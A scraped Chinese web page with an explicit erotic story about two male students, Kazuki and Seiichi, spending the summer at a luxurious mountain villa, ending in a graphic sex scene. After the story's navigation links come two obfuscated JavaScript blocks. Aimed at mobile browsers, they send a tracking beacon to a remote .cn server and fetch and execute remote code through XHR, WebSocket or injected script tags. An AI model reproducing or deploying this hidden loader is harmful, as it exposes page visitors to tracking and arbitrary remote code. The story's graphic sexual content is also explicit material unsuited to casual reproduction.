图片载入中

校园真正的情人

特大字】 【大字】 【中字】 【小字

从那以后,我们就成了真正的情人。

诚一放下电话,回过头对我说:“OK啦!和希。整个夏天,我们都可以用高原的别墅。”

刚刚诚一打电话给家里。

“是吗?太好了,我好期待哦~”

马上就要放暑假了,刚考完期末考的我雀跃不已。

“对了,要带什么去好呢?我是第一次住别墅呢!”

海滩短裤……应该不需要吧……又不是去海边。

点心、饮料呢……?

啊……要带换洗衣物,还要带睡衣。

诚一笑眯眯地看着我。

“你什么不用带……那里什么都有。你只要身体去就好了。”

“咦?身体去就好了?诚一,你这种说法好色哦!”

听起来就像是专程去别墅做爱的嘛……

而且我也很期待呢~因为会一直跟诚一独处,所以我有预感会变成那样。

“别墅里什么都有哦,所以也不必带换洗的衣物。当然如果你想带什么,尽管带走,没关系。”

诚一跟我我们会开车去。

“我开车可以吧?如果你不放心的话,我也可以叫回司机来哦!”

我急忙 摇摇头。

“不、不用了啦……诚一开就好了。司机的话就不用了……”

要是那样的话,我大概会吓得发抖吧……

诚一是含着金汤匙出生,所以可能很习惯让司机来开车,但我可不是这样。跟不认识的人在一起,我很容易感到紧张。

“啊!”

我忽然注意到了。

“对了,吃饭怎么办啊?”

“我打算自己煮饭,如果你想帮忙的话也行哦~~”

听到诚一马上这么说,我圆睁着眼。

“诚一还会作菜啊?”

我一点都不知道。

以前我们都只是到餐厅吃饭,或是叫披蕯外送。

“是会一点啦,只是不可能像大厨一样就是了……不行吗?”

当然不是不行啦……

“我、我完全不会作菜,不然我在旁边帮忙就好了。”

“那就拜托你了。”

“嗯。”

我点点头。

现在我真的是非常非常期待去别墅的日子能快点到来。

“那附近有一片小湖,别墅的后面是白桦树林,里面还有一条小河,风景很漂亮哟!越过一座山就是一片比较大的湖,那里是着名的观光景点,有很多观光旅馆跟民宿,到时候我们可以骑自行车跟划船。另外,我们可以在食材店买食材,偶尔也可以去饭店吃。”

湖?白桦树林?骑自行车跟划船?

哇!我简直想尖叫出声啦!

真棒!这不就像是去避暑吗?这样渡过夏天真是太酷啦……

“暑假怎么不快点来呢?”

这跟我以前所过的夏天完全不一样,跟电风扇、毛豆跟夜间棒球……这样的夏天是完全不同的。

不过,我倒是不嫌弃夜间棒球啦……

虽然我不是女孩子,但还是有种预感,觉得这会是一个浪漫的夏天。

“对了,和希,我还有一件事要拜托你。”

“尽管说吧!”

诚一要送给我这么棒的夏天,现在他有事求我,我当然会听他说啰!

“诚一,真难得耶……你要拜托我什么?”

“不是什么了不得的事啦,只是想请你去的时候,穿我选的衣服而已。”

咦?什么意思?我不解地歪着头。

“你选的衣服?”

这很简单啊……我还以为是什么了不得的事呢……

“好是好,可是为什么呢?”

“我打算要买很适合你穿的衣服。”

我还是听不懂。

诚一犹豫了一下,对我解释着:“在我们去别墅之前,应该有人会帮我们准备好一切,到时他人应该也会在……他叫松宫,现在担任我父亲的秘书,我想在他面前炫耀一下我的和希……不行吗?”

我想?什么意思啊?

炫耀?为了什么啊?

“我会向他介绍你是我的情人哦~我也会告诉他,你是我生命中注定的对象,对我来说是很重要的。所以……和希,求求你。”

“嗯……嗯。”

我虽然还是不太明白,既然诚一希望这样,那就这样吧!

而且,是诚一要帮我买衣服,又不是要我自己出钱。

“我懂了。好啊,那我就穿你选的衣服去别墅吧!”

诚一非常开心地笑了。

这样的笑容让我觉得,不管是诚一要我怎么样我都愿意。

只要诚一高兴,那就够了。

“我真想早点到别墅去,暑假怎么不早点来啊?”

看着数着日子的我,诚一笑得更开心了。

“你真的是满心期待呢……”

一大早就晴日当空,炎热的夏日正式宣告着暑假的来临。

我比约定的时间还要早到了诚一的公寓。

因为我非常兴奋啊~~~

接着就要跟诚一渡过只有两个人的暑假了,第一次去高原的别墅。光是想象,我就高兴得几乎快要坐不住了。

诚一说开车要三个小时。

因为我没有驾照,所以由诚一全程驾驶,虽然有点不好意思,但我也很期待接下来三个小时的兜风时光。

诚一开车相当平稳,坐他的车也很舒服,不过,我想这跟车子是高级车多多少少也有些关系吧?

我们会在途中下车吃点东西,预计傍晚前会抵达别墅。

昨晚在电话里,诚一是这么说的。

好想早一点见到诚一,好想早点出发哦!

我心急地按下了诚一家的电铃。

“对不起,我稍微来早了一点……”

诚一满脸笑容地迎接我,并把我拥入怀里。

“没关系,我也正在等你,心想你快点来就好了。”

诚一总是这么温柔。

我一看就知道他还在准备呢,因为行李的拉链还开着。

“要不要我帮你整理行李?”

诚一说:“你不用帮我做这种事啦……”,一边还拿出冰果汁给我。

“我想,万一你玩腻了就糟了,所以正在想要不要带影片去呢……那里虽然什么都很齐全,但是就是没有这种东西。”

诚一想得真周到。

“放心吧!我是绝对不可能玩腻的。”

因为有诚一在我身边嘛~~~

情人独处,怎么可能会腻呢?只要两个人在一起,时间可是一熘烟就过了呢……

“──对了,我该穿什么去好呢?”

我打算把身上穿的T恤跟牛仔裤放在行李带去。不过我偶尔会来诚一的公寓住,所以放在这里也可以。

“我放在里面的房间,你喝完果汁后就去换上吧!”

我一边看着诚一拼命地把影片塞进行李,一边慢慢地喝完果汁,依他的话,走进有张大床的房间里。

“啊!这该不会……?”

看着预计之外的服装,我吓得张大眼睛无法动弹。

诚一将车停进车位,一边笑嘻嘻地下了车,一边走到车子另一侧,帮我开了门。

“和希,到了哦!”

他牵着我的手,我好奇地看着四周。

到了?这里就是别墅?

“怎么啦?你不下车吗?”

“咦?啊……不,我要下车啊……这里真的很棒呢!”

视线所及,几乎都是针叶树的浓烈绿意。

高大的树木郁郁苍苍,像是要伸入天际一般。

“别墅在哪里啊?”

“在这片树林的对面,从马路这边是没办法直接看到的。”

原来如此啊……

“我来搬行李,你在这里先等一下吧?”

看着还张着嘴呆望着四周的我,诚一苦笑着。

“啊……我也来帮忙。”

看到诚一已经从车子里把行李搬出来了,我慌忙地说。

诚一摇摇头。

“不用了,我想去确认一下松宫来了没……和希,你在这里等我,没人在看,所以应该没关系吧?”

“──嗯。”

因为我穿这个样子啊……

看到诚一帮我准备的衣服时,虽然我相当惊讶,但都到了这个时候了,也不能说讨厌,最后还是在诚一的催促下,乖乖地穿上了衣服。

“真的很适合你哟~你照照镜子。”

我半信半疑地偷看着衣柜的大镜子,确实如诚一所说,这衣服很适合我穿。

“和希是不太容易晒黑的那一型,所以很适合浅蓝色呢~加上你的五官又很明显,摝的相称哟~~~太棒了,真是太美了~~~”

“是、是这样吗……”

我从没穿过这种衣服,所以有点胆怯,不过既然诚一这么说,我也就放心了。

所以说,要以这身打扮出现在人多的地方,我还是需要……相当大的……勇气呢……

刚刚经过兜风营时,我无论如何都不想下车,还让诚一很伤脑筋呢……

因为我不喜欢用这种方式出锋头嘛……可能是因为我不像诚一一样,早就习惯众人的眼光,我不是那一型的。

服装呢……硬要说的话,应该叫做西服吧?

无袖的罩衫上缀有纯白的蕾丝,在胸口附近飘呀飘的。蓝色的及膝裤裤缘缀以金线,同样蓝色的上衣前面长到腰部,后面则是比较长,有点像燕尾服的形状,袖口缝了很多蕾丝,轻飘飘地,看起来很容易弄脏似的。

仿古的调调,简直就像小时候看的童话绘本中出现的小少爷一样。

扮装……不,应该比较像角色扮演的感觉。

不知道有没有视觉系的乐团是以这副打扮出现在舞台上的呢?

“很适合你哟~真的很棒,和希。正合你给人的那种青涩少年的感觉呢……”

诚一眯着眼睛夸奖我,让我很不好意思。

不过──

这是诚一的兴趣吗?说起来,这也很适合诚一穿呢……

要是诚一的话,就不是穿及膝裤,可能穿长裤会比较好吧?

而且,他还想让这身打扮的我见那位叫松宫的人耶……

我真是不明白。

诚一一边歪着头,一边回到车子这里。

“松宫在吗?”

“──不在,别墅都已经准备好了,他应该确实有来过啊……不过我没看到他。真奇怪……难道他不跟我见面直接回去了吗?”

怎么办?

诚一交叉着手思考着,我也歪着头看着他。

仔细想想,有点奇怪。

为什么诚一这么在意那位叫松宫的人呢?

既然别墅都已经准备妥当,那不就好了吗?

“诚一?”

我一叫他,他就紧咬着嘴唇。

我第一次看到这样的诚一,好象很紧张似的。

“我原本想要好好告诉松宫,说你是我的情人的。”

“是、是吗?没关系啦……那个叫松宫的人,要是看到我这个男生情人一定会觉得很紧张吧?”

虽然我不知道诚一在紧张些什么,不过听我这么一说,他总算慢慢地吐了口气。

“说得也是,松宫不在的话也好……”

为什么诚一这么在意这位叫松宫的人?他究竟是什么样的人呢?

“诚一,松宫是什么样的人呢?”

诚一摇了摇头。

“没关系,你不必在意。完全不必在意,嗯……这件事就别再提了。”

被他这么一说,我反而更好奇了,总觉得诚一好象故意要岔开话题。

“他是你父亲的秘书对吧?”

诚一确实是如此说过。

经我这么一问,诚一轻轻吐了口气,才回答“是啊”。

“松宫现在是我父亲的秘书,以前是……负责教导我的人。”

“教导?”

一瞬间,浮现在我脑海的,是一个虽然啰嗦但人很好的老爷爷。

松宫先生一定是代替忙碌的双亲,严格地教育小时候的诚一的吧?

他一定是称诚一为“少爷”,很疼爱他的吧?

“所以啊……我才说他不在比较好。”

松宫先生要是知道可爱的少爷竟然有个男情人,说不定会昏倒呢……

爷爷可不记得有教少爷这样哦……呜呜……

要是他真的哭出来的话,我也是很伤脑筋的。因为虽然对松宫先生觉得不好意思,但我是真很珍惜诚一的。

“我觉得能跟你独处比较好哦!”

我一边说着说着,一边偷看他的表情。

诚一终于笑了。

“是啊。我也觉得只有我们两人当然是比较好。”

总觉得他有点紧张。

诚一用力地抱住我的肩膀。

“和希……我的和希……我最爱你了……”

我不喜欢在这种地方接吻啦……总觉得这样很不好意思。

“我们还是快点去别墅吧!”

我逃出诚一的怀抱,往树林的另一头跑去。

“这里是我们两个人的卧室哦~~~”

诚一从背后推着我进入一扇看起来似乎装潢地非常华丽的大门。

我踏进了这个房间时不禁屏住气息。

在上二楼的时候,就已经惊喜连连,本来以为已经不会再有让我更惊讶的事了,没想到是大错特错,这个房间比起楼下更是气派。

挑高的天花板,覆盖着白色床罩的床大得让人不可置信,而且还从天花板垂下透明的薄纱布。

这就叫做天盖吧?我还是第一次见到。

“进来吧!换洗的衣服放在这个柜子就好了。”

房间的另一边有暖炉,旁边放着有很多雕刻精美的抽屉的家具。

真是高级得不得了。

我环顾四周,墙上也挂了好几幅画,而用来照明的是枝式吊灯。

“这里是盥洗室,也可以冲澡哦!”

窗户好大,似乎外面就是阳台了。从迎风飞舞的蕾丝窗帘向外看,可以看到石制的扶手。

“和希……怎么啦?你不喜欢这里吗?”

看我什么都没说,诚一投过来担心的眼神。

“呃……不不不……我怎么可能不喜欢呢?”

我只是吓了一跳而已。

我觉得我好象是第一次知道“豪华”的意义,这跟我以前所了解的世界相差了十万八千里。

“真的很棒呢……”

“什么很棒啊?”

诚一用一副不可思议的表情歪着头问我。

我觉得他就像是跟我住在不同世界的人一样。

诚一还真是一位货真价实的大少爷呢……

“和希,怎么啦?你从刚刚就很奇怪……你是不是还是觉得海边的别墅比较好?对不起哦~我这么任性地坚持要来这里。忍耐一下,如果你无论如何都想去海边的话……明年我再带你去海边好吗?”

我慌慌张张地摇着头。

“不是这样的。这里很好,我很喜欢呀……”

说是这么说……其实只是因为这里太过气派了,让我这个平民感到有点畏缩而已。

“真的吗?你喜欢这里?”

不过诚一笑眯眯地这么问,所以我也不能再说什么。

“我小时候就是住在这里,这个房间就是我的房间哦~你喜欢这里,我真的很高兴呢~~”

诚一打开窗帘和落叶窗,对我伸出手。

“过来。”

高原凉爽的风,徐徐吹拂至窗边,他带我走到阳台上。

“和希你看,那边是白桦树林,还看得到小河,对吧?”

树木包围着小湖,在艳阳的照射下,湖面闪闪发亮。

湖的小支流闪亮地流向右方,像是要缝合白色枝桠般,细细地流淌着。

“好漂亮哦……”

蔚蓝澄澈的天空,散发芬芳的翠绿树林,还有潺潺的水流声。

清爽的凉风徐徐拂面而来。

我倚着扶手,陶醉地环顾四周。

虽然盛夏阳光的光芒极为刺目热人,但在这里却非常清爽舒服。

“这里真是非常棒的地方,我很喜欢哟!”

“和希,能跟你来这里,真是太好了……听到你这么说,真是太好了……”

诚一将我拉近身边,抱紧了我,我依偎在他坚实的胸膛。

他轻轻抬起我的下巴,我闭上了眼。

咕咕咕咕……

从远处传来鸟叫声。

原本只是轻轻接触的吻,马上成了深吻。

“嗯嗯……”

“我受不了了,和希。我想要~”

诚一热烈地低语着,随即抱起了我。

“等等……诚一……”

他怎么突然变成饿狼啦?这还是他第一次把我抱起来耶……

我提心吊胆地,怕自己一不小心就会掉下来。

“你是我最宝贝的和希,我不会让你掉下来的啦~~”

总觉得诚一比平常还要更奇怪呢……

“我一直想要抚摸你,想得受不了了。今天的你看起来更漂亮了,把我的心纠得好紧。和希、和希……”

会不会……太肉麻了啊?

我从来没被人称赞过“漂亮”,真正漂亮的,应该是诚一才对吧?

“今天的你真是太耀眼了,让我想要确认一下,你真的是我的。”

哇啊啊……

背嵴上传来一阵寒意。

诚一好象喝醉了耶……!

他轻轻拉开床上的薄布,把我轻轻地放在床上。

床上洒满了被半透明窗帘布筛过的柔和灯光。

一脸陶醉的诚一,轻轻地隔着衣服抚摸着我的身体曲线。

“真的很适合你呢……绢布的光泽更托出和希的高贵魅力,像瓷器般白晰的皮肤,梦里才看得到的纯净瞳孔、淡色调的嘴唇、纤细脖子的线条、细致的指尖……和希,你就像玩偶一样的漂亮呢……”

诚一意乱情迷地不断称赞着我。

说到这,我才发现──

我所穿的衣服,就像是玩偶的衣服呢……虽然我不知道名字,不过以前的洋娃娃就是像这种感觉吧!

而且,这种洋娃娃的感觉,跟这个屋子的华丽气氛还真是搭调呢……

“和希,我想要你……今天可以抱你吗?”

我感到腰部被一团灼热的硬块抵住。

这样啊……原来诚一喜欢这种的啊……

“我好象快发狂了,和希……说你要我。”

诚一边喃喃说着,边在我身上印下无数个吻。

我搂住他的脖子。

“我要你,诚一……”

被情人这么热烈地求爱,连我也有了那种心情。

“我会给你无尽的爱的。”

无数的吻,真的真的非常甜蜜。

我的上衣敞开着,诚一透过蕾丝罩衫抚摸着我。

“嗯……”

柔软的蕾丝摩擦着我的肌肤,我不住地扭动着身子。

“别逃哦~变成粉红色的肌肤好美……和希……”

为什么不帮我脱掉衣服呢,会弄脏的哦……

内裤一定已经开始湿了。

腹股沟的部位也热起来了。

我正想解开腰带,诚一按住了我的手。

“你什么都别做,全都让我来。”

既然这样,那……就快一点嘛~

我不要只有接吻,不要只有抚摸啦……

我撒娇般地抬起看着诚一。

他噗哧地一声笑出来。

“你真的好可爱哦~好吧,不论你想要什么,我都帮你做。”

他温柔地哄着我,不过我还是不能大意。

诚一在作爱时跟平时不同,会变得很坏心眼。

“诚一……咦……?”

突然间,我的裤子连同内裤一起被脱了下来。

诚一把衣服丢到床下,整个人覆盖在我身上。

“诚一……嗯嗯……”

诚一吸吮着我的舌头,同时粗暴地脱掉我的上衣,我止不住地喘着气。

“和希,你要是太过引诱我的话,我会不停地侵犯你,直到你精疲力尽为止哦……”

诚一边说边舔糖果般吸吮着我的唇。

“好……啊啊……”

听到我沙哑的回答,诚一双眼顿时发亮。

我紧抓着触感良好的床单。

“啊嗯、啊啊啊……”

噗滋噗滋的湿润声响,从两腿间不断流泻出来。

“啊嗯……我、我已经……”

诚一含住我的敏感部位,手指向更深处潜入。

他轻咬着前端,并用舌头缠绕着,在这样极度快感的刺激下,我连脚尖都僵硬了。

“我……诚一……我……已经……”

好想射……

被热浪翻弄着,我已经好几次都快要超越巅峰了。

可是──

诚一抓住了我的根部,所以我无法尽兴地一吐为快。

我发出可耻的呻吟,哀求着诚一。他却充耳不闻。

“和希,还不是时候。必须等你再变柔软一点。”

他压着内壁,持续搓揉着。

我那里应该已经完全准备好了啊……

“我……好想要哦……”

今天的诚一,真的非常激狂而热情。

“你已经受不了了?”

被这么一问,我大大地点了好几次头。

想要得受不了了。

全身的热度大概连蛋都可以煮熟吧……

我想要诚一用他的……进入手指到不了的深处。

又湿又痛……

只要诚一不进来,这样的热度就无法下降。

“快、快点……”

快来……快让我射……

“和希,我会给你的。别那么急嘛~”

都这种时候了,诚一还一派悠闲。

他一边微笑着,一边把自己的灼热抵在我那里。

“快、快点。”

我用力地吐着气。

诚一突然间把自己推进了我体内。

“嗯嗯、嗯嗯……”

承受他的进入时,总是有点痛苦,因为他的……真的很大。

“痛吗?和希,会很难受吗?”

诚一马上停下了动作,有些担心地看着我。

“没、没关系……”

因为半途而废也同样很痛……快点进到更深处吧!

这样一来,马上就会舒服了,快感就会一涌而上。

“要来了哦?”

诚一一点一点地进入我体内。

“嗯……啊啊……”

巨大的热块不断在我体内律动,一波波的快感如浪潮趣向我涌来。

“啊、啊啊啊……”

我就是在等这个,等着被填满。

“和希,你好棒哦~越来越紧了。”

诚一喘气般地低语着。

我也觉得好棒,能感受到在我体内的诚一的脉动。

将诚一包覆在好深好深的体内,我也因为灼热而发着抖。

“和希……我爱你……”

啊啊……为什么诚一要在这时候说这种话呢?

不行……我太感动了,这样我会变得很奇怪啊……

身体因为激烈的运动而不断被摇晃着,我摆动着腰部,好象快溺水的感觉。

摇晃着,摇晃着。

像是飘浮在海洋上般,我来回随着潮浪摆荡着。

“啊、啊啊啊……”

到底射了几次,我也想不起来了。

咕啾……咕啾……

湿润的声音在房间里响着。

“啊啊啊啊啊啊啊啊────”

被碰触到敏感部位,我几乎快喘不过气。

又射了────

因为诚一非常激烈,我有点跟不上,感觉变得有些奇怪。

“啊……诚一……”

手跟脚就像坏掉的玩偶一样动也动不了,全身有感觉的只剩下跟诚一相连着的地方。其它的部位就像被切掉一样,什么感觉都没了。

可是诚一还在那里持续摩蹭着、激烈地冲刺着。

啊……不要、不要再来了……

“和希──”

他疯狂地紧抱住我,开始进行加速。

我好象快停止唿吸了。

快感太过强烈,意识似乎已经离我远去。

“啊啊啊……”

只剩达到巅峰的快感在支配着我。

“还没……和希,今天这是第几次了?”

诚一的声音像是梦呓般在我耳边响起。

“啊啊、啊啊啊啊啊啊────────”


上一篇:网路千金淫娃(01-04)

下一篇:猎奴纪事之从零开始的异世界生活


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};